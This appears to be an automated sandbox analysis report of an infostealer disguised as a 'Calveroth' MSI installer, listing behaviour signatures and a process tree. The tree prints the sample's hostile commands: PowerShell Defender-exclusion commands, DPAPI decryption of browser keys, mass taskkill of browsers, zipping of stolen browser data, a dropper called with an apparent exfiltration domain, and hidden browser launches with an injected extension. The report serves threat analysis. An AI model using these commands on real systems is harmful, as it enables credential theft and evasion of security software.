Analysis
- max time kernel
149s - max time network
136s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
- submitted
09/10/2025, 14:56
General
- Target Calveroth-1.0.0-setup.msi
- Size 84.0MB
- Sample251009-sa685afl91
- SHA256 31be4c1f37cb8b60d22b5beb2c535263d9273f142cb314e3dc67031549f909b4
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Using powershell.exe command.
- Drops startup file 2 IoCs
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates processes with tasklist 1 TTPs 9 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 16 IoCs
- Executes dropped EXE 9 IoCs
- Loads dropped DLL 11 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 6 IoCs
- Kills process with taskkill 29 IoCs
- Modifies data under HKEY_USERS 6 IoCs
- Modifies registry class 26 IoCs
- NTFS ADS 4 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 23 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 23 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Calveroth-1.0.0-setup.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Program\Calveroth\Calveroth.exe"C:\Program Files\Program\Calveroth\Calveroth.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppTemp\65aic1'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppTemp\65aic1'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Program Files\Program\Calveroth\Calveroth.exe"C:\Program Files\Program\Calveroth\Calveroth.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\calveroth" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1908,i,10103045673868744365,7686891109062318114,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:23⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\Program\Calveroth\Calveroth.exe"C:\Program Files\Program\Calveroth\Calveroth.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\calveroth" --field-trial-handle=2060,i,10103045673868744365,7686891109062318114,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:33⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\cscript.execscript.exe /nologo C:\Users\Admin\AppData\Local\Temp\run_1760021867687_ht4ixnto1.vbs3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\AppTemp\65aic1\save_data.exe"C:\Users\Admin\AppData\Local\AppTemp\65aic1\save_data.exe" "C:\\Users\\Admin\\AppData\\Local\\AppTemp\\65aic1\\save_data.exe" "C:\\Users\\Admin\\AppData\\Local\\AppTemp\\65aic1" "C:\\Users\\Admin\\AppData\\Local\\AppTemp\\65aic1\\output" "57B80F5F7C63" "3kyh9kntiomknv89.iloveanimals.shop"4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe6⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\AppTemp\65aic1\cache.exeC:\Users\Admin\AppData\Local\AppTemp\65aic1\cache.exe all -o C:\\Users\\Admin\\AppData\\Local\\AppTemp\\65aic1\\output -v --no-kill5⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\AppTemp\65aic1\output\*' -DestinationPath 'C:\Users\Admin\AppData\Local\AppTemp\65aic1\output\browserData_1760021879859.zip' -Force""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\AppTemp\65aic1\output\*' -DestinationPath 'C:\Users\Admin\AppData\Local\AppTemp\65aic1\output\browserData_1760021879859.zip' -Force"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppCache\agwck1'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppCache\agwck1'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cscript.execscript.exe /nologo C:\Users\Admin\AppData\Local\Temp\run_1760021872093_gsgmkgjdd.vbs3⤵
-
C:\Users\Admin\AppData\Local\AppCache\agwck1\stats_db.exe"C:\Users\Admin\AppData\Local\AppCache\agwck1\stats_db.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- NTFS ADS
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHAaTS5a0e02ChpEedfNsRhAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAEmGRsbWcnbpy9M9U23eSdUQ7UdK3aljLoxZ57mr8KQgAAAAAA6AAAAAAgAAIAAAAL72KQ9KousT6F8GrF7pvLVqnYKt37X2R9QRzu29eO4uMAAAAGnHBqfgReflyjGtIFI1Qd0pgCi6ItdnKyceGsCkTQY6zdpqPzR8sGkaQ8Dq5a1AXUAAAADxe0OvHPc0PUUY1i3HflnaiU827jstH+bWfiWALa3wKOoRR5KcXOcc47CBZDxt9mWdCoaAKmnzkArDHdsrw2NV');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHAaTS5a0e02ChpEedfNsRhAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAEmGRsbWcnbpy9M9U23eSdUQ7UdK3aljLoxZ57mr8KQgAAAAAA6AAAAAAgAAIAAAAL72KQ9KousT6F8GrF7pvLVqnYKt37X2R9QRzu29eO4uMAAAAGnHBqfgReflyjGtIFI1Qd0pgCi6ItdnKyceGsCkTQY6zdpqPzR8sGkaQ8Dq5a1AXUAAAADxe0OvHPc0PUUY1i3HflnaiU827jstH+bWfiWALa3wKOoRR5KcXOcc47CBZDxt9mWdCoaAKmnzkArDHdsrw2NV');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHAaTS5a0e02ChpEedfNsRhAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA2muIt/5zPRtv0OPA5ClQNFYG+eRckwnJQc0hBin2nkYAAAAADoAAAAACAAAgAAAAudvfDLr/eQ8I5YYfAAq+Fg2osgfXdDnMQYCRBf7WJxgwAAAANv4bVsax8u2s6Vd0V90+5Z0szUGx0YMRiRe6KECVoa01ZFxhMhXy1XfSzPlM91INQAAAAGWrjTQrbwDI/7PqpdF3wT7RPqGECiZKu/BX2TG/POZl6Xmiq/YaNT9K25E8jqcCpsvr6YrHd900K+1VFniwCGk=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAHAaTS5a0e02ChpEedfNsRhAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA2muIt/5zPRtv0OPA5ClQNFYG+eRckwnJQc0hBin2nkYAAAAADoAAAAACAAAgAAAAudvfDLr/eQ8I5YYfAAq+Fg2osgfXdDnMQYCRBf7WJxgwAAAANv4bVsax8u2s6Vd0V90+5Z0szUGx0YMRiRe6KECVoa01ZFxhMhXy1XfSzPlM91INQAAAAGWrjTQrbwDI/7PqpdF3wT7RPqGECiZKu/BX2TG/POZl6Xmiq/YaNT9K25E8jqcCpsvr6YrHd900K+1VFniwCGk=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM kometa.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM orbitum.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM centbrowser.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM centbrowser.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 7star.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM 7star.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM sputnik.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sputnik.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM epicprivacybrowser.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM epicprivacybrowser.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM uran.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM yandex.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM iridium.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM iridium.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" "--load-extension=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Chrome" "--disable-extensions-except=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Chrome" --disable-popup-blocking --profile-directory=Default --window-position=-32000,-32000 --window-size=800,6005⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd4,0x108,0x7ffec9b0dcf8,0x7ffec9b0dd04,0x7ffec9b0dd106⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1692,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2516 /prefetch:116⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2484,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2480 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1980,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2572 /prefetch:136⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3200,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3244 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3208,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3284 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4352,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4380 /prefetch:96⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4536,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4580 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4356,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4856 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5008,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5136 /prefetch:146⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5696,i,14821625455431006371,7099404102556584044,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5856 /prefetch:146⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "--load-extension=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\Edge" "--disable-extensions-except=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\Edge" --disable-popup-blocking --profile-directory=Default --window-position=-32000,-32000 --window-size=800,6005⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x248,0x24c,0x250,0x244,0x2c0,0x7ffec655f208,0x7ffec655f214,0x7ffec655f2206⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1760,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:116⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1972,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=1976 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1768,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:136⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3456,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3468,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4088,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4084,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=4608 /prefetch:96⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=4132,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=4148,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:96⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3560,i,16957049025787432717,12418856011353301019,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:96⤵
-
-
